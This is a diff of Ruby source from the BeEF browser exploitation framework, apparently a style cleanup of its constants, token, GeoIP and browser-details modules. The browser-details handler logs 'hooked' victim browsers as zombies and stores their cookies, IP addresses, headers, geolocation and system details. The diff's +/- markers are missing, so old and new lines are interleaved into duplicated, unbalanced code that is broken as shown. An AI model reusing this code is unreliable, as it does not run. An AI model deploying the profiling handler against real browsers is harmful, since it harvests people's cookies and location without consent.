FRIENDLY_IE_NAME = 'Internet Explorer'
FRIENDLY_E_NAME = 'MSEdge'
FRIENDLY_S_NAME = 'Safari'
FRIENDLY_EP_NAME = 'Epiphany'
FRIENDLY_K_NAME = 'Konqueror'
FRIENDLY_C_NAME = 'Chrome'
FRIENDLY_O_NAME = 'Opera'
FRIENDLY_A_NAME = 'Avant'
FRIENDLY_MI_NAME = 'Midori'
FRIENDLY_OD_NAME = 'Odyssey'
FRIENDLY_BR_NAME = 'Brave'
FRIENDLY_UN_NAME = 'UNKNOWN'
# Attempt to retrieve a browser's friendly name
# @param [String] browser_name Short browser name
# @return [String] Friendly browser name
def self.friendly_name(browser_name)
case browser_name
when FF; return FRIENDLY_FF_NAME
when M ; return FRIENDLY_M_NAME
when IE; return FRIENDLY_IE_NAME
when E ; return FRIENDLY_E_NAME
when S ; return FRIENDLY_S_NAME
when EP; return FRIENDLY_EP_NAME
when K ; return FRIENDLY_K_NAME
when C ; return FRIENDLY_C_NAME
when O ; return FRIENDLY_O_NAME
when A ; return FRIENDLY_A_NAME
when MI ; return FRIENDLY_MI_NAME
when OD ; return FRIENDLY_OD_NAME
when BR ; return FRIENDLY_BR_NAME
when UNKNOWN; return FRIENDLY_UN_NAME
# Attempt to retrieve a browser's friendly name
# @param [String] browser_name Short browser name
# @return [String] Friendly browser name
def self.friendly_name(browser_name)
case browser_name
when FF then FRIENDLY_FF_NAME
when M then FRIENDLY_M_NAME
when IE then FRIENDLY_IE_NAME
when E then FRIENDLY_E_NAME
when S then FRIENDLY_S_NAME
when EP then FRIENDLY_EP_NAME
when K then FRIENDLY_K_NAME
when C then FRIENDLY_C_NAME
when O then FRIENDLY_O_NAME
when A then FRIENDLY_A_NAME
when MI then FRIENDLY_MI_NAME
when OD then FRIENDLY_OD_NAME
when BR then FRIENDLY_BR_NAME
when UNKNOWN then FRIENDLY_UN_NAME
end
end
end
end
end
end
end
end

View File

@@ -5,21 +5,15 @@
#
module BeEF
module Core
module Constants
module CommandModule
# @note Constants to define the execution probability of a command module (this is browser dependant)
VERIFIED_WORKING = 0
VERIFIED_UNKNOWN = 1
VERIFIED_USER_NOTIFY = 2
VERIFIED_NOT_WORKING = 3
module Core
module Constants
module CommandModule
# @note Constants to define the execution probability of a command module (this is browser dependant)
VERIFIED_WORKING = 0
VERIFIED_UNKNOWN = 1
VERIFIED_USER_NOTIFY = 2
VERIFIED_NOT_WORKING = 3
end
end
end
end
end
end

View File

@@ -5,77 +5,73 @@
#
module BeEF
module Core
module Constants
# @note The hardware's strings for hardware detection.
module Hardware
HW_UNKNOWN_IMG = 'pc.png'
HW_VM_IMG = 'vm.png'
HW_LAPTOP_IMG = 'laptop.png'
HW_IPHONE_UA_STR = 'iPhone'
HW_IPHONE_IMG = 'iphone.jpg'
HW_IPAD_UA_STR = 'iPad'
HW_IPAD_IMG = 'ipad.png'
HW_IPOD_UA_STR = 'iPod'
HW_IPOD_IMG = 'ipod.jpg'
HW_BLACKBERRY_UA_STR = 'BlackBerry'
HW_BLACKBERRY_IMG = 'blackberry.png'
HW_WINPHONE_UA_STR = 'Windows Phone'
HW_WINPHONE_IMG = 'win.png'
HW_ZUNE_UA_STR = 'ZuneWP7'
HW_ZUNE_IMG = 'zune.gif'
HW_KINDLE_UA_STR = 'Kindle'
HW_KINDLE_IMG = 'kindle.png'
HW_NOKIA_UA_STR = 'Nokia'
HW_NOKIA_IMG = 'nokia.ico'
HW_HTC_UA_STR = 'HTC'
HW_HTC_IMG = 'htc.ico'
HW_MOTOROLA_UA_STR = 'motorola'
HW_MOTOROLA_IMG = 'motorola.png'
HW_GOOGLE_UA_STR = 'Nexus'
HW_GOOGLE_IMG = 'nexus.png'
HW_ERICSSON_UA_STR = 'Ericsson'
HW_ERICSSON_IMG = 'sony_ericsson.png'
HW_ALL_UA_STR = 'All'
module Core
module Constants
# @note The hardware's strings for hardware detection.
module Hardware
HW_UNKNOWN_IMG = 'pc.png'
HW_VM_IMG = 'vm.png'
HW_LAPTOP_IMG = 'laptop.png'
HW_IPHONE_UA_STR = 'iPhone'
HW_IPHONE_IMG = 'iphone.jpg'
HW_IPAD_UA_STR = 'iPad'
HW_IPAD_IMG = 'ipad.png'
HW_IPOD_UA_STR = 'iPod'
HW_IPOD_IMG = 'ipod.jpg'
HW_BLACKBERRY_UA_STR = 'BlackBerry'
HW_BLACKBERRY_IMG = 'blackberry.png'
HW_WINPHONE_UA_STR = 'Windows Phone'
HW_WINPHONE_IMG = 'win.png'
HW_ZUNE_UA_STR = 'ZuneWP7'
HW_ZUNE_IMG = 'zune.gif'
HW_KINDLE_UA_STR = 'Kindle'
HW_KINDLE_IMG = 'kindle.png'
HW_NOKIA_UA_STR = 'Nokia'
HW_NOKIA_IMG = 'nokia.ico'
HW_HTC_UA_STR = 'HTC'
HW_HTC_IMG = 'htc.ico'
HW_MOTOROLA_UA_STR = 'motorola'
HW_MOTOROLA_IMG = 'motorola.png'
HW_GOOGLE_UA_STR = 'Nexus'
HW_GOOGLE_IMG = 'nexus.png'
HW_ERICSSON_UA_STR = 'Ericsson'
HW_ERICSSON_IMG = 'sony_ericsson.png'
HW_ALL_UA_STR = 'All'
# Attempt to match operating system string to constant
# @param [String] name Name of operating system
# @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
def self.match_hardware(name)
case name.downcase
when /iphone/
HW_IPHONE_UA_STR
when /ipad/
HW_IPAD_UA_STR
when /ipod/
HW_IPOD_UA_STR
when /blackberry/
HW_BLACKBERRY_UA_STR
when /windows phone/
HW_WINPHONE_UA_STR
when /zune/
HW_ZUNE_UA_STR
when /kindle/
HW_KINDLE_UA_STR
when /nokia/
HW_NOKIA_UA_STR
when /motorola/
HW_MOTOROLA_UA_STR
when /htc/
HW_HTC_UA_STR
when /google/
HW_GOOGLE_UA_STR
when /ericsson/
HW_ERICSSON_UA_STR
else
'ALL'
end
end
def self.match_hardware(name)
case name.downcase
when /iphone/
HW_IPHONE_UA_STR
when /ipad/
HW_IPAD_UA_STR
when /ipod/
HW_IPOD_UA_STR
when /blackberry/
HW_BLACKBERRY_UA_STR
when /windows phone/
HW_WINPHONE_UA_STR
when /zune/
HW_ZUNE_UA_STR
when /kindle/
HW_KINDLE_UA_STR
when /nokia/
HW_NOKIA_UA_STR
when /motorola/
HW_MOTOROLA_UA_STR
when /htc/
HW_HTC_UA_STR
when /google/
HW_GOOGLE_UA_STR
when /ericsson/
HW_ERICSSON_UA_STR
else
'ALL'
end
end
end
end
end
end
end
end

View File

@@ -7,10 +7,8 @@
module BeEF
module Core
module Constants
# @note The OS'es strings for os detection.
module Os
OS_UNKNOWN_IMG = 'unknown.png'
OS_WINDOWS_UA_STR = 'Windows'
OS_WINDOWS_IMG = 'win.png'
@@ -50,37 +48,35 @@ module BeEF
# @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
def self.match_os(name)
case name.downcase
when /win/
OS_WINDOWS_UA_STR
when /lin/
OS_LINUX_UA_STR
when /os x/, /osx/, /mac/
OS_MAC_UA_STR
when /qnx/
OS_QNX_UA_STR
when /sun/
OS_SUNOS_UA_STR
when /beos/
OS_BEOS_UA_STR
when /openbsd/
OS_OPENBSD_UA_STR
when /ios/, /iphone/, /ipad/, /ipod/
OS_IOS_UA_STR
when /maemo/
OS_MAEMO_UA_STR
when /blackberry/
OS_BLACKBERRY_UA_STR
when /android/
OS_ANDROID_UA_STR
when /aros/
OS_AROS_UA_STR
else
'ALL'
when /win/
OS_WINDOWS_UA_STR
when /lin/
OS_LINUX_UA_STR
when /os x/, /osx/, /mac/
OS_MAC_UA_STR
when /qnx/
OS_QNX_UA_STR
when /sun/
OS_SUNOS_UA_STR
when /beos/
OS_BEOS_UA_STR
when /openbsd/
OS_OPENBSD_UA_STR
when /ios/, /iphone/, /ipad/, /ipod/
OS_IOS_UA_STR
when /maemo/
OS_MAEMO_UA_STR
when /blackberry/
OS_BLACKBERRY_UA_STR
when /android/
OS_ANDROID_UA_STR
when /aros/
OS_AROS_UA_STR
else
'ALL'
end
end
end
end
end
end

View File

@@ -6,90 +6,89 @@
require 'securerandom'
module BeEF
module Core
module Crypto
# @note the minimum length of the security token
TOKEN_MINIMUM_LENGTH = 15
#
# Generate a secure random token
#
# @param [Integer] len The length of the secure token
#
# @return [String] Security token
#
def self.secure_token(len = nil)
# get default length from config
config = BeEF::Core::Configuration.instance
token_length = len || config.get('beef.crypto_default_value_length').to_i
# type checking
raise TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if (token_length < TOKEN_MINIMUM_LENGTH)
# return random hex string
SecureRandom.random_bytes(token_length).unpack("H*")[0]
end
module Core
module Crypto
# @note the minimum length of the security token
TOKEN_MINIMUM_LENGTH = 15
#
# Generate a secure random token, 20 chars, used as an auth token for the RESTful API.
# After creation it's stored in the BeEF configuration object => conf.get('beef.api_token')
#
# @return [String] Security token
#
def self.api_token
config = BeEF::Core::Configuration.instance
token_length = 20
#
# Generate a secure random token
#
# @param [Integer] len The length of the secure token
#
# @return [String] Security token
#
def self.secure_token(len = nil)
# get default length from config
config = BeEF::Core::Configuration.instance
token_length = len || config.get('beef.crypto_default_value_length').to_i
# return random hex string
token = SecureRandom.random_bytes(token_length).unpack("H*")[0]
config.set('beef.api_token', token)
token
end
# type checking
raise TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if token_length < TOKEN_MINIMUM_LENGTH
#
# Generates a random alphanumeric string
# Note: this isn't securely random
# @todo use SecureRandom once Ruby 2.4 is EOL
#
# @param length integer length of returned string
#
def self.random_alphanum_string(length = 10)
raise TypeError, 'Invalid length' unless length.integer?
raise TypeError, 'Invalid length' unless length.positive?
[*('a'..'z'),*('A'..'Z'),*('0'..'9')].shuffle[0,length].join
end
#
# Generates a random hex string
#
# @param length integer length of returned string
#
def self.random_hex_string(length = 10)
raise TypeError, 'Invalid length' unless length.integer?
raise TypeError, 'Invalid length' unless length.positive?
SecureRandom.random_bytes(length).unpack('H*').first[0...length]
end
#
# Generates a unique identifier for DNS rules.
#
# @return [String] 8-character hex identifier
#
def self.dns_rule_id
id = nil
begin
id = random_hex_string(8)
BeEF::Core::Models::Dns::Rule.all.each { |rule| throw StandardError if id == rule.id }
rescue StandardError
retry
# return random hex string
SecureRandom.random_bytes(token_length).unpack1('H*')
end
id.to_s
#
# Generate a secure random token, 20 chars, used as an auth token for the RESTful API.
# After creation it's stored in the BeEF configuration object => conf.get('beef.api_token')
#
# @return [String] Security token
#
def self.api_token
config = BeEF::Core::Configuration.instance
token_length = 20
# return random hex string
token = SecureRandom.random_bytes(token_length).unpack1('H*')
config.set('beef.api_token', token)
token
end
#
# Generates a random alphanumeric string
# Note: this isn't securely random
# @todo use SecureRandom once Ruby 2.4 is EOL
#
# @param length integer length of returned string
#
def self.random_alphanum_string(length = 10)
raise TypeError, 'Invalid length' unless length.integer?
raise TypeError, 'Invalid length' unless length.positive?
[*('a'..'z'), *('A'..'Z'), *('0'..'9')].shuffle[0, length].join
end
#
# Generates a random hex string
#
# @param length integer length of returned string
#
def self.random_hex_string(length = 10)
raise TypeError, 'Invalid length' unless length.integer?
raise TypeError, 'Invalid length' unless length.positive?
SecureRandom.random_bytes(length).unpack1('H*')[0...length]
end
#
# Generates a unique identifier for DNS rules.
#
# @return [String] 8-character hex identifier
#
def self.dns_rule_id
id = nil
begin
id = random_hex_string(8)
BeEF::Core::Models::Dns::Rule.all.each { |rule| throw StandardError if id == rule.id }
rescue StandardError
retry
end
id.to_s
end
end
end
end
end

View File

@@ -5,55 +5,55 @@
#
module BeEF
module Core
class GeoIp
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
@enabled = @config.get('beef.geoip.enable') ? true : false
module Core
class GeoIp
include Singleton
return unless @enabled
def initialize
@config = BeEF::Core::Configuration.instance
@enabled = @config.get('beef.geoip.enable') ? true : false
geoip_file = @config.get('beef.geoip.database')
return unless @enabled
unless File.exists? geoip_file
print_error "[GeoIP] Could not find MaxMind GeoIP database: '#{geoip_file}'"
geoip_file = @config.get('beef.geoip.database')
unless File.exist? geoip_file
print_error "[GeoIP] Could not find MaxMind GeoIP database: '#{geoip_file}'"
@enabled = false
return
end
require 'maxmind/db'
@geoip_reader = MaxMind::DB.new(geoip_file, mode: MaxMind::DB::MODE_MEMORY)
@geoip_reader.freeze
rescue StandardError => e
print_error "[GeoIP] Failed to load GeoIP database: #{e.message}"
@enabled = false
return
end
require 'maxmind/db'
@geoip_reader = MaxMind::DB.new(geoip_file, mode: MaxMind::DB::MODE_MEMORY)
@geoip_reader.freeze
rescue => e
print_error "[GeoIP] Failed to load GeoIP database: #{e.message}"
@enabled = false
end
#
# Check if GeoIP functionality is enabled and functional
#
# @return [Boolean] GeoIP functionality enabled?
#
def enabled?
@enabled
end
#
# Check if GeoIP functionality is enabled and functional
#
# @return [Boolean] GeoIP functionality enabled?
#
def enabled?
@enabled
end
#
# Search the MaxMind GeoLite2 database for the specified IP address
#
# @param [String] The IP address to lookup
#
# @return [Hash] IP address lookup results
#
def lookup(ip)
raise TypeError, '"ip" needs to be a string' unless ip.string?
#
# Search the MaxMind GeoLite2 database for the specified IP address
#
# @param [String] The IP address to lookup
#
# @return [Hash] IP address lookup results
#
def lookup(ip)
raise TypeError, '"ip" needs to be a string' unless ip.string?
return unless @enabled
return unless @enabled
@geoip_reader.get(ip)
@geoip_reader.get(ip)
end
end
end
end
end

View File

@@ -8,7 +8,6 @@ module BeEF
module Handlers
# @note Retrieves information about the browser (type, version, plugins etc.)
class BrowserDetails
@data = {}
HB = BeEF::Core::Models::HookedBrowser
@@ -16,69 +15,70 @@ module BeEF
def initialize(data)
@data = data
setup()
setup
end
def err_msg(error)
print_error "[Browser Details] #{error}"
end
def setup()
print_debug "[INIT] Processing Browser Details..."
def setup
print_debug '[INIT] Processing Browser Details...'
config = BeEF::Core::Configuration.instance
# validate hook session value
session_id = get_param(@data, 'beefhook')
print_debug "[INIT] Processing Browser Details for session #{session_id}"
(self.err_msg "session id is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(session_id)
hooked_browser = HB.where(:session => session_id).first
return if not hooked_browser.nil? # browser is already registered with framework
unless BeEF::Filters.is_valid_hook_session_id?(session_id)
(err_msg 'session id is invalid'
return)
end
hooked_browser = HB.where(session: session_id).first
return unless hooked_browser.nil? # browser is already registered with framework
# create the structure representing the hooked browser
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id)
zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id)
zombie.firstseen = Time.new.to_i
# hooked window host name
log_zombie_port = 0
if not @data['results']['browser.window.hostname'].nil?
if !@data['results']['browser.window.hostname'].nil?
log_zombie_domain = @data['results']['browser.window.hostname']
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
referer = @data['request'].referer
if referer.start_with?("https://")
log_zombie_port = 443
else
log_zombie_port = 80
end
log_zombie_domain=referer.gsub('http://', '').gsub('https://', '').split('/')[0]
log_zombie_port = if referer.start_with?('https://')
443
else
80
end
log_zombie_domain = referer.gsub('http://', '').gsub('https://', '').split('/')[0]
else
log_zombie_domain="unknown" # Probably local file open
log_zombie_domain = 'unknown' # Probably local file open
end
# hooked window host port
if not @data['results']['browser.window.hostport'].nil?
log_zombie_port = @data['results']['browser.window.hostport']
if @data['results']['browser.window.hostport'].nil?
log_zombie_domain_parts = log_zombie_domain.split(':')
log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1
else
log_zombie_domain_parts=log_zombie_domain.split(':')
if log_zombie_domain_parts.length > 1 then
log_zombie_port=log_zombie_domain_parts[1].to_i
end
log_zombie_port = @data['results']['browser.window.hostport']
end
zombie.domain = log_zombie_domain
zombie.port = log_zombie_port
#Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
@http_headers = Hash.new
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }
.each { |key, value|
# Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
@http_headers = {}
http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }
.each do |key, value|
@http_headers[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8')
}
end
zombie.httpheaders = @http_headers.to_json
zombie.save!
#print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
# print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
# add a log entry for the newly hooked browser
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port}", zombie.id.to_s)
# get and store browser name
browser_name = get_param(@data['results'], 'browser.name')
@@ -89,23 +89,21 @@ module BeEF
browser_friendly_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
BD.set(session_id, 'browser.name.friendly', browser_friendly_name)
else
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
err_msg "Invalid browser name returned from the hook browser's initial connection."
end
if BeEF::Filters.is_valid_ip?(zombie.ip)
BD.set(session_id, 'network.ipaddress', zombie.ip)
else
self.err_msg "Invalid IP address returned from the hook browser's initial connection."
err_msg "Invalid IP address returned from the hook browser's initial connection."
end
# lookup zombie host name
if config.get('beef.dns_hostname_lookup')
begin
host_name = Resolv.getname(zombie.ip).to_s
if BeEF::Filters.is_valid_hostname?(host_name)
BD.set(session_id, 'host.name', host_name)
end
rescue
BD.set(session_id, 'host.name', host_name) if BeEF::Filters.is_valid_hostname?(host_name)
rescue StandardError
print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'"
end
end
@@ -119,62 +117,112 @@ module BeEF
print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'"
else
# print_debug "[INIT] Geolocation results: #{geoip}"
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", zombie.id.to_s)
BD.set(
session_id,
'location.city',
"#{geoip['city']['names']['en'] rescue 'Unknown'}")
(begin
geoip['city']['names']['en']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.country',
"#{geoip['country']['names']['en'] rescue 'Unknown' }")
(begin
geoip['country']['names']['en']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.country.isocode',
"#{geoip['country']['iso_code'] rescue 'Unknown'}")
(begin
geoip['country']['iso_code']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.country.registered_country',
"#{geoip['registered_country']['names']['en'] rescue 'Unknown'}")
(begin
geoip['registered_country']['names']['en']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.country.registered_country.isocode',
"#{geoip['registered_country']['iso_code'] rescue 'Unknown'}")
(begin
geoip['registered_country']['iso_code']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.continent',
"#{geoip['continent']['names']['en'] rescue 'Unknown'}")
(begin
geoip['continent']['names']['en']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.continent.code',
"#{geoip['continent']['code'] rescue 'Unknown'}")
(begin
geoip['continent']['code']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.latitude',
"#{geoip['location']['latitude'] rescue 'Unknown'}")
(begin
geoip['location']['latitude']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.longitude',
"#{geoip['location']['longitude'] rescue 'Unknown'}")
(begin
geoip['location']['longitude']
rescue StandardError
'Unknown'
end).to_s
)
BD.set(
session_id,
'location.timezone',
"#{geoip['location']['time_zone'] rescue 'Unknown'}")
(begin
geoip['location']['time_zone']
rescue StandardError
'Unknown'
end).to_s
)
end
end
# detect browser proxy
using_proxy = false
[
'CLIENT_IP',
'FORWARDED_FOR',
'FORWARDED',
'FORWARDED_FOR_IP',
'PROXY_CONNECTION',
'PROXY_AUTHENTICATE',
'X_FORWARDED',
'X_FORWARDED_FOR',
'VIA'
%w[
CLIENT_IP
FORWARDED_FOR
FORWARDED
FORWARDED_FOR_IP
PROXY_CONNECTION
PROXY_AUTHENTICATE
X_FORWARDED
X_FORWARDED_FOR
VIA
].each do |header|
unless JSON.parse(zombie.httpheaders)[header].nil?
using_proxy = true
@@ -184,15 +232,15 @@ module BeEF
# retrieve proxy client IP
proxy_clients = []
[
'CLIENT_IP',
'FORWARDED_FOR',
'FORWARDED',
'FORWARDED_FOR_IP',
'X_FORWARDED',
'X_FORWARDED_FOR'
%w[
CLIENT_IP
FORWARDED_FOR
FORWARDED
FORWARDED_FOR_IP
X_FORWARDED
X_FORWARDED_FOR
].each do |header|
proxy_clients << "#{JSON.parse(zombie.httpheaders)[header]}" unless JSON.parse(zombie.httpheaders)[header].nil?
proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil?
end
# retrieve proxy server
@@ -203,20 +251,18 @@ module BeEF
BD.set(session_id, 'network.proxy', 'Yes')
proxy_log_string = "#{zombie.ip} is using a proxy"
unless proxy_clients.empty?
BD.set(session_id, 'network.proxy.client', "#{proxy_clients.sort.uniq.join(',')}")
BD.set(session_id, 'network.proxy.client', proxy_clients.sort.uniq.join(',').to_s)
proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]"
end
unless proxy_server.nil?
BD.set(session_id, 'network.proxy.server', "#{proxy_server}")
BD.set(session_id, 'network.proxy.server', proxy_server.to_s)
proxy_log_string += " [server: #{proxy_server}]"
if config.get("beef.extension.network.enable") == true
if proxy_server =~ /^([\d\.]+):([\d]+)$/
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]")
BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy')
end
if config.get('beef.extension.network.enable') == true && (proxy_server =~ /^([\d.]+):(\d+)$/)
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{Regexp.last_match(1)}]")
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: Regexp.last_match(1), type: 'Proxy')
end
end
BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}")
BeEF::Core::Logger.instance.register('Zombie', proxy_log_string.to_s, zombie.id.to_s)
end
# get and store browser version
@@ -224,7 +270,7 @@ module BeEF
if BeEF::Filters.is_valid_browserversion?(browser_version)
BD.set(session_id, 'browser.version', browser_version)
else
self.err_msg "Invalid browser version returned from the hook browser's initial connection."
err_msg "Invalid browser version returned from the hook browser's initial connection."
end
# get and store browser string
@@ -232,7 +278,7 @@ module BeEF
if BeEF::Filters.is_valid_browserstring?(browser_string)
BD.set(session_id, 'browser.name.reported', browser_string)
else
self.err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection."
err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection."
end
# get and store browser engine
@@ -240,7 +286,7 @@ module BeEF
if BeEF::Filters.is_valid_browserstring?(browser_engine)
BD.set(session_id, 'browser.engine', browser_engine)
else
self.err_msg "Invalid value for 'browser.engine' returned from the hook browser's initial connection."
err_msg "Invalid value for 'browser.engine' returned from the hook browser's initial connection."
end
# get and store browser language
@@ -252,7 +298,7 @@ module BeEF
if BeEF::Filters.is_valid_cookies?(cookies)
BD.set(session_id, 'browser.window.cookies', cookies)
else
self.err_msg "Invalid cookies returned from the hook browser's initial connection."
err_msg "Invalid cookies returned from the hook browser's initial connection."
end
# get and store the OS name
@@ -260,7 +306,7 @@ module BeEF
if BeEF::Filters.is_valid_osname?(os_name)
BD.set(session_id, 'host.os.name', os_name)
else
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
err_msg "Invalid operating system name returned from the hook browser's initial connection."
end
# get and store the OS family
@@ -268,7 +314,7 @@ module BeEF
if BeEF::Filters.is_valid_osname?(os_family)
BD.set(session_id, 'host.os.family', os_family)
else
self.err_msg "Invalid value for 'host.os.family' returned from the hook browser's initial connection."
err_msg "Invalid value for 'host.os.family' returned from the hook browser's initial connection."
end
# get and store the OS version
@@ -289,7 +335,7 @@ module BeEF
if BeEF::Filters.is_valid_hwname?(hw_type)
BD.set(session_id, 'hardware.type', hw_type)
else
self.err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection."
end
# get and store the date
@@ -297,7 +343,7 @@ module BeEF
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
BD.set(session_id, 'browser.date.datestamp', date_stamp)
else
self.err_msg "Invalid date returned from the hook browser's initial connection."
err_msg "Invalid date returned from the hook browser's initial connection."
end
# get and store page title
@@ -305,7 +351,7 @@ module BeEF
if BeEF::Filters.is_valid_pagetitle?(page_title)
BD.set(session_id, 'browser.window.title', page_title)
else
self.err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection."
err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection."
end
# get and store page origin
@@ -313,7 +359,7 @@ module BeEF
if BeEF::Filters.is_valid_url?(origin)
BD.set(session_id, 'browser.window.origin', origin)
else
self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
end
# get and store page uri
@@ -321,7 +367,7 @@ module BeEF
if BeEF::Filters.is_valid_url?(page_uri)
BD.set(session_id, 'browser.window.uri', page_uri)
else
self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
end
# get and store the page referrer
@@ -329,7 +375,7 @@ module BeEF
if BeEF::Filters.is_valid_pagereferrer?(page_referrer)
BD.set(session_id, 'browser.window.referrer', page_referrer)
else
self.err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection."
err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection."
end
# get and store hooked window host port
@@ -337,7 +383,7 @@ module BeEF
if BeEF::Filters.is_valid_hostname?(host_name)
BD.set(session_id, 'browser.window.hostname', host_name)
else
self.err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection."
err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection."
end
# get and store hooked window host port
@@ -345,7 +391,7 @@ module BeEF
if BeEF::Filters.is_valid_port?(host_port)
BD.set(session_id, 'browser.window.hostport', host_port)
else
self.err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection."
err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection."
end
# get and store the browser plugins
@@ -353,7 +399,7 @@ module BeEF
if BeEF::Filters.is_valid_browser_plugins?(browser_plugins)
BD.set(session_id, 'browser.plugins', browser_plugins)
else
self.err_msg "Invalid browser plugins returned from the hook browser's initial connection."
err_msg "Invalid browser plugins returned from the hook browser's initial connection."
end
# get and store the system platform
@@ -361,7 +407,7 @@ module BeEF
if BeEF::Filters.is_valid_system_platform?(system_platform)
BD.set(session_id, 'browser.platform', system_platform)
else
self.err_msg "Invalid browser platform returned from the hook browser's initial connection."
err_msg "Invalid browser platform returned from the hook browser's initial connection."
end
# get and store the zombie screen color depth
@@ -369,7 +415,7 @@ module BeEF
if BeEF::Filters.nums_only?(screen_colordepth)
BD.set(session_id, 'hardware.screen.colordepth', screen_colordepth)
else
self.err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection."
end
# get and store the zombie screen width
@@ -377,7 +423,7 @@ module BeEF
if BeEF::Filters.nums_only?(screen_size_width)
BD.set(session_id, 'hardware.screen.size.width', screen_size_width)
else
self.err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection."
end
# get and store the zombie screen height
@@ -385,16 +431,15 @@ module BeEF
if BeEF::Filters.nums_only?(screen_size_height)
BD.set(session_id, 'hardware.screen.size.height', screen_size_height)
else
self.err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection."
end
# get and store the window height
window_height = get_param(@data['results'], 'browser.window.size.height')
if BeEF::Filters.nums_only?(window_height)
BD.set(session_id, 'browser.window.size.height', window_height)
else
self.err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection."
err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection."
end
# get and store the window width
@@ -402,18 +447,18 @@ module BeEF
if BeEF::Filters.nums_only?(window_width)
BD.set(session_id, 'browser.window.size.width', window_width)
else
self.err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection."
err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection."
end
# store and log IP details of host
print_debug("Hooked browser [id:#{zombie.id}] has IP [ip: #{zombie.ip}]")
if os_name != nil and os_version != nil
BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host', :os => os_name + "-" + os_version)
elsif os_name != nil
BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host', :os => os_name)
if !os_name.nil? and !os_version.nil?
BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name + '-' + os_version)
elsif !os_name.nil?
